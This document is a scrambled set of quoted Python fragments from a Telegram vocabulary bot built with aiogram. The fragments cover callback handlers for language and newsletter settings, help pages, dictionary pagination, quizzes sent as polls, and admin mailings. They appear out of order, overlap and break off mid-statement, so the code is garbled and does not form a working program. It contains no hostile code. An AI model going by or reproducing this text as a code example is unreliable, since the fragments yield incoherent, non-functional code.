to_lang, state)", "types.CallbackQuery, state: FSMContext): action = query.data[6:] user_lang = self.lang.parse_user_lang(query['from']['id']) async", "self.lang.parse_user_lang(user_id) question = query['data'] await query.message.edit_text(self.lang.get_page_text(\"HELP\", question, user_lang)) await query.message.edit_reply_markup(self.markup.get_help_back_markup(user_lang))", "state=\"*\") @self.analytics.callback_fsm_metric async def dictionary_list_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang =", "selected_lang) await query.message.delete() await query.message.answer(text=self.lang.get_page_text('LANG_SETTINGS', 'SUCCESS', selected_lang), reply_markup=self.markup.get_main_menu_markup(selected_lang)) await query.answer()", "self.markup.get_quiz_finish_markup(user_lang)) else: await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionaryQuizState.finish) @self.analytics.callback_fsm_metric async", "dictionary_list_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) selected_dict_pairs = query.data[11:].split('_')", "self.markup, query['from']['id'], current_page=current_page) if not paginator.is_first(): await query.message.edit_text(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode())", "\"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_lang_settings_markup(user_lang)) await query.answer() elif page == 'newsletters':", "= selected_dict_pairs[0] to_lang = selected_dict_pairs[1] await query.message.delete() await _send_dictionary_page(query.message, query['from']['id'],", "query.message.poll.correct_option_id, 'options': list(map(lambda item: dict(item), query.message.poll.options)) } data['quiz_results'].append(quiz_result) await query.message.answer(self.lang.get_page_text('QUIZ',", "await query.message.answer(self.lang.get_user_referral_link_page(query['from']['id'], user_lang)) await query.message.edit_reply_markup(None) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('mailings_'))", "import Bot, Dispatcher, types from aiogram.dispatcher import FSMContext # =====", "buttons\"\"\" user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) page = query['data'][9:]", "quiz_data data['index'] = 1 question = f\"{data['index']}/{len(data['quiz_data'])} \" + \\", "question back button\"\"\" user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) await", "page question back button\"\"\" user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id)", "query.message.delete() async with state.proxy() as data: quiz_result = { 'word':", "callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('next_'), state=\"*\") @self.analytics.callback_fsm_metric async", "selected_lang != user_lang: self.db.set_user_lang(query['from']['id'], selected_lang) await query.message.delete() await query.message.answer(text=self.lang.get_page_text('LANG_SETTINGS', 'SUCCESS',", "!= 2: self.db.set_user_mailings(query['from']['id'], 2) elif selected_option == 'important' and user_mailings", "'options': list(map(lambda item: dict(item), query.message.poll.options)) } data['quiz_results'].append(quiz_result) await query.message.answer(self.lang.get_page_text('QUIZ', 'FINISH',", "= data['curr_pagination_page']['from_lang'] to_lang = data['curr_pagination_page']['to_lang'] self.db.add_user_word(new_word_string, new_word_translation, query['from']['id'], from_lang, to_lang)", "action = query.data[10:] if action == 'string': await DictionaryEditWordState.new_word_string.set() await", "reply_markup=self.markup.get_dictionary_markup(user_lang)) await message.answer(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup()) async with state.proxy() as data: data['curr_pagination_page']", "f\"{data['index']}/{len(data['quiz_data'])} \" + \\ self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format(quiz_data[0]['word']) await self.bot.send_poll(chat_id=query['from']['id'], question=question,", "'NEW', user_lang), reply_markup=self.markup.get_cancel_markup()) elif action == 'schedule_list': await query.answer() #", "await query.message.edit_text(text=paginator.prev_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION',", "data['search_query'] new_word_translation = data['translation'] from_lang = data['curr_pagination_page']['from_lang'] to_lang = data['curr_pagination_page']['to_lang']", "options=quiz_data[0]['options'], correct_option_id=quiz_data[0]['options'].index(quiz_data[0]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang)) @self.dp.callback_query_handler(state=DictionaryQuizState.user_answers) @self.analytics.callback_fsm_metric async def quiz_next_callback_handler(query: types.CallbackQuery,", "with state.proxy() as data: new_word_string = data['search_query'] new_word_translation = data['translation']", "== 'disable' and user_mailings != 0: self.db.set_user_mailings(query['from']['id'], 0) await query.message.delete()", "@self.analytics.callback_fsm_metric async def dictionary_list_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id'])", "await query.message.delete() await _send_dictionary_page(query.message, query['from']['id'], user_lang, from_lang, to_lang, state) #", "quiz_start_callback_handler(query: types.CallbackQuery, state: FSMContext): await query.answer() await query.message.delete() user_lang =", "types.CallbackQuery): \"\"\"Handle HELP page question buttons\"\"\" user_id = query['from']['id'] user_lang", "'curr_pagination_page' in data: current_page = data['curr_pagination_page'] paginator = getattr(pagination, action.capitalize()", "await DictionaryQuizState.finish.set() question += self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format( data['quiz_data'][curr_q_index]['word']) await self.bot.send_poll(chat_id=query['from']['id'],", "state.proxy() as data: new_word_string = data['search_query'] new_word_translation = data['translation'] from_lang", "@self.analytics.callback_fsm_metric async def quiz_start_callback_handler(query: types.CallbackQuery, state: FSMContext): await query.answer() await", "await query.message.delete() await query.message.answer(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"SUCCESS\", user_lang)) else: await query.answer(self.lang.get_page_text('NEWSLETTER_SETTINGS', 'ALREADY_SET',", "await query.answer() elif page == 'newsletters': await query.message.edit_text(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"TEXT\", user_lang))", "quiz_finish_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) if query.message.poll.total_voter_count ==", "FSMContext): action = query.data[5:] user_lang = self.lang.parse_user_lang(query['from']['id']) async with state.proxy()", "data['curr_pagination_page'] = last_pagination_page else: await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionarySearchWordState.search_query)", "db_manager self.lang = lang_manager self.markup = markup_manager self.analytics = analytics", "state: FSMContext): await query.answer() await query.message.delete() user_lang = self.lang.parse_user_lang(query['from']['id']) async", "await asyncio.sleep(1) await _send_dictionary_page(query.message, query['from']['id'], user_lang, from_lang, to_lang, state) elif", "from db_manager import DbManager from lang_manager import LangManager from markups_manager", "data['curr_pagination_page'] = paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION', 'LAST_REACHED', user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}]", "types.CallbackQuery): \"\"\"Handle HELP page question back button\"\"\" user_id = query['from']['id']", "import FSMContext # ===== Local imports ===== from analytics import", "query.data[11:].split('_') from_lang = selected_dict_pairs[0] to_lang = selected_dict_pairs[1] await query.message.delete() await", "'QUESTION', user_lang).format( data['quiz_data'][curr_q_index]['word']) await self.bot.send_poll(chat_id=query['from']['id'], question=question, options=data['quiz_data'][curr_q_index]['options'], correct_option_id=data['quiz_data'][curr_q_index]['options'].index( data['quiz_data'][curr_q_index]['answer']), type='quiz',", "current_page=current_page) if not paginator.is_first(): await query.message.edit_text(text=paginator.prev_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] =", "admin_mailings_new_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) action = query['data'][9:] if action", "Dispatcher, bot: Bot): self.db = db_manager self.lang = lang_manager self.markup", "user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) page = query['data'][9:] if", "else: await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionaryQuizState.finish) @self.analytics.callback_fsm_metric async def", "if action == 'new': await AdminMailingState.message.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('MAILINGS',", "state=\"*\") @self.analytics.callback_fsm_metric async def pagination_next_callback_handler(query: types.CallbackQuery, state: FSMContext): action =", "to_lang: str, state: FSMContext): current_state = { 'current_page': 0, 'from_lang':", "query.message.edit_text(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION', 'FIRST_REACHED',", "user_lang), reply_markup=self.markup.get_cancel_markup()) elif action == 'schedule_list': await query.answer() # QUIZ", "state=\"*\") @self.analytics.callback_fsm_metric async def quiz_start_callback_handler(query: types.CallbackQuery, state: FSMContext): await query.answer()", "user_mailings != 2: self.db.set_user_mailings(query['from']['id'], 2) elif selected_option == 'important' and", "as data: data['curr_pagination_page'] = last_pagination_page else: await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang),", "selected_option == 'disable' and user_mailings != 0: self.db.set_user_mailings(query['from']['id'], 0) await", "'SUCCESSFUL_ADDED', user_lang)) await state.finish() await asyncio.sleep(1) await _send_dictionary_page(query.message, query['from']['id'], user_lang,", "'current_page': 0, 'from_lang': from_lang, 'to_lang': to_lang } paginator = getattr(pagination,", "action = query['data'][9:] if action == 'new': await AdminMailingState.message.set() await", "query.message.answer(self.lang.get_user_referral_link_page(query['from']['id'], user_lang)) await query.message.edit_reply_markup(None) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('mailings_')) @self.analytics.callback_metric", "def quiz_start_callback_handler(query: types.CallbackQuery, state: FSMContext): await query.answer() await query.message.delete() user_lang", "libs imports ===== from aiogram import Bot, Dispatcher, types from", "int, user_lang: str, from_lang: str, to_lang: str, state: FSMContext): current_state", "'Paginator')(self.lang, self.db, self.markup, user_id, current_page=current_state) await message.answer(text=self.lang.get_page_text('DICTIONARY', 'TEXT', user_lang), reply_markup=self.markup.get_dictionary_markup(user_lang))", "selecting preferred interface language\"\"\" user_lang = self.lang.parse_user_lang(query['from']['id']) selected_lang = query['data'][-2:]", "types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) selected_dict_pairs = query.data[11:].split('_') from_lang", "data['curr_pagination_page']['from_lang'] to_lang = data['curr_pagination_page']['to_lang'] quiz_data = self.db.get_user_quiz_data(query['from']['id'], from_lang, to_lang, 10)", "query.message.answer(self.lang.get_page_text('QUIZ', 'FINISH', user_lang)) await query.message.answer(self.lang.get_quiz_results_page(data['quiz_results'], user_lang), parse_mode='Markdown') last_pagination_page = data['curr_pagination_page']", "DictionaryState.dictionary.set() @self.dp.callback_query_handler(lambda query: query.data.startswith('dictionary_'), state=\"*\") @self.analytics.callback_fsm_metric async def dictionary_list_callback_handler(query: types.CallbackQuery,", "user_lang), show_alert=True) async def _send_dictionary_page(message: types.Message, user_id: int, user_lang: str,", "selected_dict_pairs = query.data[11:].split('_') from_lang = selected_dict_pairs[0] to_lang = selected_dict_pairs[1] await", "getattr(pagination, action.capitalize() + 'Paginator')(self.lang, self.db, self.markup, query['from']['id'], current_page=current_page) if not", "Bot, Dispatcher, types from aiogram.dispatcher import FSMContext # ===== Local", "1 question = f\"{data['index']}/{len(data['quiz_data'])} \" + \\ self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format(quiz_data[0]['word'])", "from states.Mailing import AdminMailingState import pagination class VocabularyBotCallbackHandler: \"\"\"Class for", "types.CallbackQuery): \"\"\"Newsletters settings\"\"\" user_lang = self.lang.parse_user_lang(query['from']['id']) selected_option = query['data'][13:] user_mailings", "data['curr_pagination_page'] = paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION', 'FIRST_REACHED', user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}]", "import pagination class VocabularyBotCallbackHandler: \"\"\"Class for Vocabulary Bot callback handlers\"\"\"", "'selected_option': query.message.poll.options.index( list(filter(lambda item: item.voter_count == 1, query.message.poll.options))[0]), 'correct_option': query.message.poll.correct_option_id,", "query: query.data.startswith('mailings_')) @self.analytics.callback_metric async def admin_mailings_new_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id'])", "if curr_q_index != len(data['quiz_data']) - 1 else self.markup.get_quiz_finish_markup(user_lang)) else: await", "page question buttons\"\"\" user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) question", "query.answer() @self.dp.callback_query_handler(lambda query: query.data == 'profile_referral_link') @self.analytics.callback_metric async def profile_referral_link_callback_handler(query:", "back button\"\"\" user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) await query.message.edit_text(self.lang.get_page_text(\"HELP\",", "1: data['index'] = curr_q_index + 1 question = f\"{data['index']}/{len(data['quiz_data'])} \"", "self.db.get_user_quiz_data(query['from']['id'], from_lang, to_lang, 10) await DictionaryQuizState.user_answers.set() async with state.proxy() as", "+ 'Paginator')(self.lang, self.db, self.markup, user_id, current_page=current_state) await message.answer(text=self.lang.get_page_text('DICTIONARY', 'TEXT', user_lang),", "= paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION', 'FIRST_REACHED', user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback", "query.data.startswith('next_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_next_callback_handler(query: types.CallbackQuery, state: FSMContext): action", "= self.lang.parse_user_lang(user_id) question = query['data'] await query.message.edit_text(self.lang.get_page_text(\"HELP\", question, user_lang)) await", "query.answer() await query.message.delete() async with state.proxy() as data: curr_q_index =", "state.finish() await DictionaryState.dictionary.set() async with state.proxy() as data: data['curr_pagination_page'] =", "===== Default imports ===== import asyncio import logging # =====", "pagination class VocabularyBotCallbackHandler: \"\"\"Class for Vocabulary Bot callback handlers\"\"\" def", "dispatcher self.bot = bot self.__init_handlers() def __init_handlers(self): # CALLBACK HANDLER", "query.message.answer(text=self.lang.get_page_text('EDIT_WORD', 'NEW_STRING', user_lang), reply_markup=self.markup.get_cancel_markup()) elif action == 'translation': await DictionaryEditWordState.new_word_translation.set()", "FOR USER LANGUAGE SETTINGS @self.dp.callback_query_handler(lambda query: query.data.startswith('lang_setting_')) @self.analytics.callback_metric async def", "user_id: int, user_lang: str, from_lang: str, to_lang: str, state: FSMContext):", "data: current_page = data['curr_pagination_page'] paginator = getattr(pagination, action.capitalize() + 'Paginator')(self.lang,", "DictionaryQuizState.user_answers.set() async with state.proxy() as data: data['quiz_results'] = [] data['quiz_data']", "+ 1 question = f\"{data['index']}/{len(data['quiz_data'])} \" else: question = f\"{len(data['quiz_data'])}/{len(data['quiz_data'])}", "await query.message.delete() async with state.proxy() as data: quiz_result = {", "selected_lang = query['data'][-2:] if selected_lang != user_lang: self.db.set_user_lang(query['from']['id'], selected_lang) await", "_send_dictionary_page(message: types.Message, user_id: int, user_lang: str, from_lang: str, to_lang: str,", "show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('next_'), state=\"*\")", "await query.message.edit_text(self.lang.get_page_text(\"HELP\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_help_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query:", "item: dict(item), query.message.poll.options)) } data['quiz_results'].append(quiz_result) if curr_q_index < len(data['quiz_data']) -", "'TEXT', user_lang), reply_markup=self.markup.get_dictionary_markup(user_lang)) await message.answer(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup()) async with state.proxy() as", "query.message.poll.options))[0]), 'correct_option': query.message.poll.correct_option_id, 'options': list(map(lambda item: dict(item), query.message.poll.options)) } data['quiz_results'].append(quiz_result)", "data['quiz_results'].append(quiz_result) await query.message.answer(self.lang.get_page_text('QUIZ', 'FINISH', user_lang)) await query.message.answer(self.lang.get_quiz_results_page(data['quiz_results'], user_lang), parse_mode='Markdown') last_pagination_page", "self.db.set_user_mailings(query['from']['id'], 0) await query.message.delete() await query.message.answer(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"SUCCESS\", user_lang)) else: await", "===== from aiogram import Bot, Dispatcher, types from aiogram.dispatcher import", "callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data == 'profile_referral_link') @self.analytics.callback_metric", "paginator = getattr(pagination, action.capitalize() + 'Paginator')(self.lang, self.db, self.markup, query['from']['id'], current_page=current_page)", "mailings_settings = ['disable', 'important', 'all'] if mailings_settings[user_mailings] != selected_option: if", "== 'translation': await DictionaryEditWordState.new_word_translation.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('EDIT_WORD', 'NEW_TRANSLATION', user_lang),", "action == 'translation': await DictionaryEditWordState.new_word_translation.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('EDIT_WORD', 'NEW_TRANSLATION',", "query.data[5:] user_lang = self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as data: if", "===== from analytics import BotAnalytics from db_manager import DbManager from", "= self.lang.parse_user_lang(query['from']['id']) if query.message.poll.total_voter_count == 1: await query.answer() await query.message.delete()", "analytics import BotAnalytics from db_manager import DbManager from lang_manager import", "query.message.edit_text(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_news_settings_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('news_setting_'))", "== 'newsletters': await query.message.edit_text(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_news_settings_markup(user_lang)) await query.answer()", "await self.bot.send_poll(chat_id=query['from']['id'], question=question, options=quiz_data[0]['options'], correct_option_id=quiz_data[0]['options'].index(quiz_data[0]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang)) @self.dp.callback_query_handler(state=DictionaryQuizState.user_answers) @self.analytics.callback_fsm_metric async", "= f\"{len(data['quiz_data'])}/{len(data['quiz_data'])} \" await DictionaryQuizState.finish.set() question += self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format(", "'back_to_help') @self.analytics.callback_metric async def back_to_help_callback_handler(query: types.CallbackQuery): \"\"\"Handle HELP page question", "async with state.proxy() as data: from_lang = data['curr_pagination_page']['from_lang'] to_lang =", "else: await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionarySearchWordState.search_query) @self.analytics.callback_fsm_metric async def", "== 'find_another': await query.message.delete() await query.message.answer(text=self.lang.get_page_text('FIND_WORD', 'WELCOME_TEXT', user_lang), reply_markup=self.markup.get_cancel_markup()) @self.dp.callback_query_handler(state=DictionaryEditWordState.search_query)", "self.bot.send_poll(chat_id=query['from']['id'], question=question, options=quiz_data[0]['options'], correct_option_id=quiz_data[0]['options'].index(quiz_data[0]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang)) @self.dp.callback_query_handler(state=DictionaryQuizState.user_answers) @self.analytics.callback_fsm_metric async def", "self.markup, query['from']['id'], current_page=current_page) if not paginator.is_last(): await query.message.edit_text(text=paginator.next_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode())", "query.data == 'profile_referral_link') @self.analytics.callback_metric async def profile_referral_link_callback_handler(query: types.CallbackQuery): user_lang =", "paginator = getattr(pagination, 'dictionary'.capitalize() + 'Paginator')(self.lang, self.db, self.markup, user_id, current_page=current_state)", "__init_handlers(self): # CALLBACK HANDLER FOR USER LANGUAGE SETTINGS @self.dp.callback_query_handler(lambda query:", "await query.message.delete() await query.message.answer(text=self.lang.get_page_text('EDIT_WORD', 'NEW_STRING', user_lang), reply_markup=self.markup.get_cancel_markup()) elif action ==", "types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) action = query.data[10:] if action ==", "= data['translation'] from_lang = data['curr_pagination_page']['from_lang'] to_lang = data['curr_pagination_page']['to_lang'] self.db.add_user_word(new_word_string, new_word_translation,", "data['curr_pagination_page'] paginator = getattr(pagination, action.capitalize() + 'Paginator')(self.lang, self.db, self.markup, query['from']['id'],", "0, 'from_lang': from_lang, 'to_lang': to_lang } paginator = getattr(pagination, 'dictionary'.capitalize()", "query.answer() await query.message.delete() async with state.proxy() as data: quiz_result =", "user_lang = self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as data: from_lang =", "await query.message.delete() await query.message.answer(text=self.lang.get_page_text('LANG_SETTINGS', 'SUCCESS', selected_lang), reply_markup=self.markup.get_main_menu_markup(selected_lang)) await query.answer() else:", "await query.message.edit_text(self.lang.get_page_text(\"LANG_SETTINGS\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_lang_settings_markup(user_lang)) await query.answer() elif page", "state.proxy() as data: data['quiz_results'] = [] data['quiz_data'] = quiz_data data['index']", "\"\"\"Class for Vocabulary Bot callback handlers\"\"\" def __init__(self, db_manager: DbManager,", "to_lang = data['curr_pagination_page']['to_lang'] self.db.add_user_word(new_word_string, new_word_translation, query['from']['id'], from_lang, to_lang) await query.message.edit_text(self.lang.get_page_text('ADD_WORD',", "HELP page question buttons\"\"\" user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id)", "from aiogram import Bot, Dispatcher, types from aiogram.dispatcher import FSMContext", "import BotAnalytics from db_manager import DbManager from lang_manager import LangManager", "logging # ===== External libs imports ===== from aiogram import", "profile_referral_link_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) await query.message.answer(self.lang.get_user_referral_link_page(query['from']['id'], user_lang)) await query.message.edit_reply_markup(None)", "settings_page_callback_handler(query: types.CallbackQuery): \"\"\"Handle SETTINGS page buttons\"\"\" user_id = query['from']['id'] user_lang", "data['quiz_data'][curr_q_index - 1]['word'], 'selected_option': query.message.poll.options.index( list(filter(lambda item: item.voter_count == 1,", "FSMContext): action = query.data[6:] user_lang = self.lang.parse_user_lang(query['from']['id']) async with state.proxy()", "state=\"*\") @self.analytics.callback_fsm_metric async def pagination_first_callback_handler(query: types.CallbackQuery, state: FSMContext): action =", "@self.analytics.callback_metric async def settings_page_callback_handler(query: types.CallbackQuery): \"\"\"Handle SETTINGS page buttons\"\"\" user_id", "language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Newsletters settings\"\"\" user_lang = self.lang.parse_user_lang(query['from']['id']) selected_option = query['data'][13:]", "elif selected_option == 'important' and user_mailings != 1: self.db.set_user_mailings(query['from']['id'], 1)", "current_state await DictionaryState.dictionary.set() @self.dp.callback_query_handler(lambda query: query.data.startswith('dictionary_'), state=\"*\") @self.analytics.callback_fsm_metric async def", "await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('mailings_')) @self.analytics.callback_metric async def admin_mailings_new_callback_handler(query: types.CallbackQuery):", "async with state.proxy() as data: data['curr_pagination_page'] = last_pagination_page else: await", "'NEW_STRING', user_lang), reply_markup=self.markup.get_cancel_markup()) elif action == 'translation': await DictionaryEditWordState.new_word_translation.set() await", "else: await query.answer(self.lang.get_page_text('LANG_SETTINGS', 'ERROR', user_lang), show_alert=True) @self.dp.callback_query_handler(lambda query: query.data.startswith('help_question_')) @self.analytics.callback_metric", "elif action == 'schedule_list': await query.answer() # QUIZ CALLBACKS @self.dp.callback_query_handler(lambda", "@self.dp.callback_query_handler(lambda query: query.data == 'quiz_start', state=\"*\") @self.analytics.callback_fsm_metric async def quiz_start_callback_handler(query:", "query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionarySearchWordState.search_query) @self.analytics.callback_fsm_metric async def search_word_actions_callback_handler(query: types.CallbackQuery,", "query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) page = query['data'][9:] if page ==", "query.message.edit_text(self.lang.get_page_text('ADD_WORD', 'SUCCESSFUL_ADDED', user_lang)) await state.finish() await asyncio.sleep(1) await _send_dictionary_page(query.message, query['from']['id'],", "reply_markup=self.markup.get_cancel_markup()) elif action == 'schedule_list': await query.answer() # QUIZ CALLBACKS", "search_word_actions_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) action = query.data[10:]", "analytics self.dp = dispatcher self.bot = bot self.__init_handlers() def __init_handlers(self):", "!= 1: self.db.set_user_mailings(query['from']['id'], 1) elif selected_option == 'disable' and user_mailings", "state=\"*\") @self.analytics.callback_fsm_metric async def pagination_prev_callback_handler(query: types.CallbackQuery, state: FSMContext): action =", "'Paginator')(self.lang, self.db, self.markup, query['from']['id'], current_page=current_page) if not paginator.is_last(): await query.message.edit_text(text=paginator.last_page(user_lang),", "Vocabulary Bot callback handlers\"\"\" def __init__(self, db_manager: DbManager, lang_manager: LangManager,", "from_lang, to_lang, 10) await DictionaryQuizState.user_answers.set() async with state.proxy() as data:", "with state.proxy() as data: data['quiz_results'] = [] data['quiz_data'] = quiz_data", "'options': list(map(lambda item: dict(item), query.message.poll.options)) } data['quiz_results'].append(quiz_result) if curr_q_index <", "else: question = f\"{len(data['quiz_data'])}/{len(data['quiz_data'])} \" await DictionaryQuizState.finish.set() question += self.lang.get_page_text('QUIZ',", "len(data['quiz_data']) - 1: data['index'] = curr_q_index + 1 question =", "user_lang, from_lang, to_lang, state) # PAGINATION @self.dp.callback_query_handler(lambda query: query.data.startswith('first_'), state=\"*\")", "async def pagination_last_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[5:] user_lang", "LangManager, markup_manager: MarkupManager, analytics: BotAnalytics, dispatcher: Dispatcher, bot: Bot): self.db", "'word': data['quiz_data'][curr_q_index - 1]['word'], 'selected_option': query.message.poll.options.index( list(filter(lambda item: item.voter_count ==", "self.lang.parse_user_lang(query['from']['id']) if query.message.poll.total_voter_count == 1: await query.answer() await query.message.delete() async", "def language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Handle selecting preferred interface language\"\"\" user_lang =", "async def back_to_help_callback_handler(query: types.CallbackQuery): \"\"\"Handle HELP page question back button\"\"\"", "options=data['quiz_data'][curr_q_index]['options'], correct_option_id=data['quiz_data'][curr_q_index]['options'].index( data['quiz_data'][curr_q_index]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang) if curr_q_index != len(data['quiz_data']) -", "state: FSMContext): action = query.data[6:] user_lang = self.lang.parse_user_lang(query['from']['id']) async with", "\" await DictionaryQuizState.finish.set() question += self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format( data['quiz_data'][curr_q_index]['word']) await", "from_lang, to_lang) await query.message.edit_text(self.lang.get_page_text('ADD_WORD', 'SUCCESSFUL_ADDED', user_lang)) await state.finish() await asyncio.sleep(1)", "async def pagination_prev_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[5:] user_lang", "query: query.data.startswith('lang_setting_')) @self.analytics.callback_metric async def language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Handle selecting preferred", "async with state.proxy() as data: data['curr_pagination_page'] = current_state await DictionaryState.dictionary.set()", "if selected_lang != user_lang: self.db.set_user_lang(query['from']['id'], selected_lang) await query.message.delete() await query.message.answer(text=self.lang.get_page_text('LANG_SETTINGS',", "await query.message.edit_text(self.lang.get_page_text('ADD_WORD', 'SUCCESSFUL_ADDED', user_lang)) await state.finish() await asyncio.sleep(1) await _send_dictionary_page(query.message,", "@self.dp.callback_query_handler(lambda query: query.data.startswith('last_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_last_callback_handler(query: types.CallbackQuery, state:", "state.proxy() as data: if 'curr_pagination_page' in data: current_page = data['curr_pagination_page']", "query.message.poll.options)) } data['quiz_results'].append(quiz_result) if curr_q_index < len(data['quiz_data']) - 1: data['index']", "user_lang)) await query.message.edit_reply_markup(None) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('mailings_')) @self.analytics.callback_metric async", "query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('settings_')) @self.analytics.callback_metric async def settings_page_callback_handler(query: types.CallbackQuery): \"\"\"Handle", "markup_manager self.analytics = analytics self.dp = dispatcher self.bot = bot", "= self.lang.parse_user_lang(query['from']['id']) selected_dict_pairs = query.data[11:].split('_') from_lang = selected_dict_pairs[0] to_lang =", "@self.dp.callback_query_handler(lambda query: query.data.startswith('next_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_next_callback_handler(query: types.CallbackQuery, state:", "not paginator.is_last(): await query.message.edit_text(text=paginator.last_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else:", "+ \\ self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format(quiz_data[0]['word']) await self.bot.send_poll(chat_id=query['from']['id'], question=question, options=quiz_data[0]['options'], correct_option_id=quiz_data[0]['options'].index(quiz_data[0]['answer']),", "@self.analytics.callback_metric async def back_to_help_callback_handler(query: types.CallbackQuery): \"\"\"Handle HELP page question back", "user_lang).format( data['quiz_data'][curr_q_index]['word']) await self.bot.send_poll(chat_id=query['from']['id'], question=question, options=data['quiz_data'][curr_q_index]['options'], correct_option_id=data['quiz_data'][curr_q_index]['options'].index( data['quiz_data'][curr_q_index]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang)", "page == 'interface': await query.message.edit_text(self.lang.get_page_text(\"LANG_SETTINGS\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_lang_settings_markup(user_lang)) await", "types.Message, user_id: int, user_lang: str, from_lang: str, to_lang: str, state:", "'Paginator')(self.lang, self.db, self.markup, query['from']['id'], current_page=current_page) if not paginator.is_last(): await 